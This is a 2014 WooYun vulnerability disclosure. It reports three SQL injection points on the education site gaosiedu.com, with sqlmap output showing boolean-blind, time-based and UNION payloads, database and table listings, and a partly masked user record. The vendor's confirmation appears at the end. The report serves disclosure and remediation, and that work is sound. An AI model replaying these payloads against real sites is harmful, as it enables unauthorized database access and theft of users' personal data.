当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-081341

漏洞标题:高思教育高危SQL注入#2(三处打包)

相关厂商:gaosiedu.com

漏洞作者: Haswell

提交时间:2014-10-30 15:25

修复时间:2014-12-14 15:26

公开时间:2014-12-14 15:26

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-30: 细节已通知厂商并且等待厂商处理中
2014-10-30: 厂商已经确认,细节仅向厂商公开
2014-11-09: 细节向核心白帽子及相关领域专家公开
2014-11-19: 细节向普通白帽子公开
2014-11-29: 细节向实习白帽子公开
2014-12-14: 细节向公众公开

简要描述:

主站的业务出现的三处打包注入,危机多个数据库账户,用户系统,能够获取大量数据。

详细说明:

注入点打包

http://www.gaosiedu.com/like/login.php POST 无需登录问题参数:username 数据库账户:paiwei@localhost


http://www.gaosiedu.com/jianli/ajax_user.php?act=do_reg 无需登录问题参数:username 数据库账户:paiwei@localhost


http://www.gaosiedu.com/xuliqizhong/index.php/AjaxGet POST 无需登录问题参数:_cid 数据库账户:signup@localhost


----------------------------------------------------------------------
注入点:http://www.gaosiedu.com/like/login.php

sqlmap identified the following injection points with a total of 239 HTTP(s) requests:
---
Place: POST
Parameter: username
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: username=1' AND 9865=9865 AND 'gHzC'='gHzC&action=login&password=3
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: username=1' AND SLEEP(5) AND 'idlw'='idlw&action=login&password=3
---
web application technology: Nginx, PHP 5.2.13
back-end DBMS: MySQL 5.0.11
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: username
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: username=1' AND 9865=9865 AND 'gHzC'='gHzC&action=login&password=3
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: username=1' AND SLEEP(5) AND 'idlw'='idlw&action=login&password=3
---
web application technology: Nginx, PHP 5.2.13
back-end DBMS: MySQL 5.0.11
available databases [3]:
[*] information_schema
[*] paiwei
[*] test


paiwei中的数据表:

[65 tables]
+----------------------------------+
| Career_answer |
| Career_info |
| Career_question |
| Career_relation_r_a |
| Career_result |
| Heart_answer |
| Heart_info |
| Heart_question |
| Heart_relation_r_a |
| Heart_result |
| PW_area |
| PW_middle |
| PW_phone |
| PW_primary |
| PW_relationship_p_m |
| RDF_info |
| Score_area |
| Score_c_s |
| Score_class |
| Score_school |
| YBT_phpcms |
| essay_avatar |
| essay_excellent |
| essay_extra_student |
| essay_extra_student_relationship |
| essay_list |
| essay_theme |
| essay_type |
| hp_admin_table |
| hp_area |
| hp_commcode |
| hp_community |
| hp_phone |
| hp_primary |
| jsj_tea |
| jsj_tea_vote |
| ks_tiku |
| ks_users |
| lk_member |
| lk_member_article |
| lk_member_img |
| lk_member_video |
| lk_member_vote |
| lk_members_info |
| model_attr_relations |
| model_attributes |
| model_data |
| model_forms |
| model_info |
| my_admin_table |
| qs_members |
| qs_resume |
| qs_resume_aihao |
| qs_resume_fujian |
| qs_resume_jineng |
| qs_resume_study |
| qs_resume_techang |
| qs_resume_xingge |
| qs_resume_zhishi |
| qs_resume_zijian |
| tp_tea |
| tp_tea_vote |
| tt_vote_log |
| tt_zuoye |
| tt_zuoye_vote |
+----------------------------------+


------------------------------------------------------
另一个注入点也影响到了相同的数据库,不做赘述
http://www.gaosiedu.com/jianli/ajax_user.php?act=do_reg

sqlmap identified the following injection points with a total of 215 HTTP(s) requests:
---
Place: POST
Parameter: username
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: [email protected]&password=3&password2=3&username=a' AND 6087=6087 AND 'bwMT'='bwMT
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: [email protected]&password=3&password2=3&username=a' AND SLEEP(5) AND 'jZXW'='jZXW
---
web application technology: Nginx, PHP 5.2.13
back-end DBMS: MySQL 5.0.11


-------------------------------------------------------
注入点:http://www.gaosiedu.com/xuliqizhong/index.php/AjaxGet

sqlmap identified the following injection points with a total of 39 HTTP(s) requests:
---
Place: POST
Parameter: _cid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: _cid=1 AND 5319=5319&_action=getRoom
Type: UNION query
Title: MySQL UNION query (NULL) - 1 column
Payload: _cid=-9250 UNION ALL SELECT CONCAT(0x7177676871,0x4751677770517a4c4a69,0x7176787a71)#&_action=getRoom
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: _cid=1 AND SLEEP(5)&_action=getRoom
---
web application technology: Nginx, PHP 5.2.13
back-end DBMS: MySQL 5.0.11
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: _cid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: _cid=1 AND 5319=5319&_action=getRoom
Type: UNION query
Title: MySQL UNION query (NULL) - 1 column
Payload: _cid=-9250 UNION ALL SELECT CONCAT(0x7177676871,0x4751677770517a4c4a69,0x7176787a71)#&_action=getRoom
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: _cid=1 AND SLEEP(5)&_action=getRoom
---
web application technology: Nginx, PHP 5.2.13
back-end DBMS: MySQL 5.0.11
available databases [3]:
[*] information_schema
[*] signup
[*] test
其中signup库内,含有大量注册用户信息,我仅仅select出了signup表第一条预览下
| 1 | 21 | 1368*马赛克*64 | *马赛克* | 13766453781.png | 清华附中 | 1376645378 |

漏洞证明:

web application technology: Nginx, PHP 5.2.13
back-end DBMS: MySQL 5.0.11
signup@localhost
paiwei@localhost
available databases [3]:
[*] information_schema
[*] signup
[*] test
[*] paiwei
其它同上
建议升级MySQL php 以及THINKPHP,都太老了

修复方案:

我也是你们学员,教育企业更应注重数据安全,希望越做越好; )

版权声明:转载请注明来源 Haswell@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-10-30 17:39

厂商回复:

感谢提供漏洞,一些过期的专题页已经关掉了, 应该还有一些不能关闭的专题页,也正在抓紧修改

最新状态:

暂无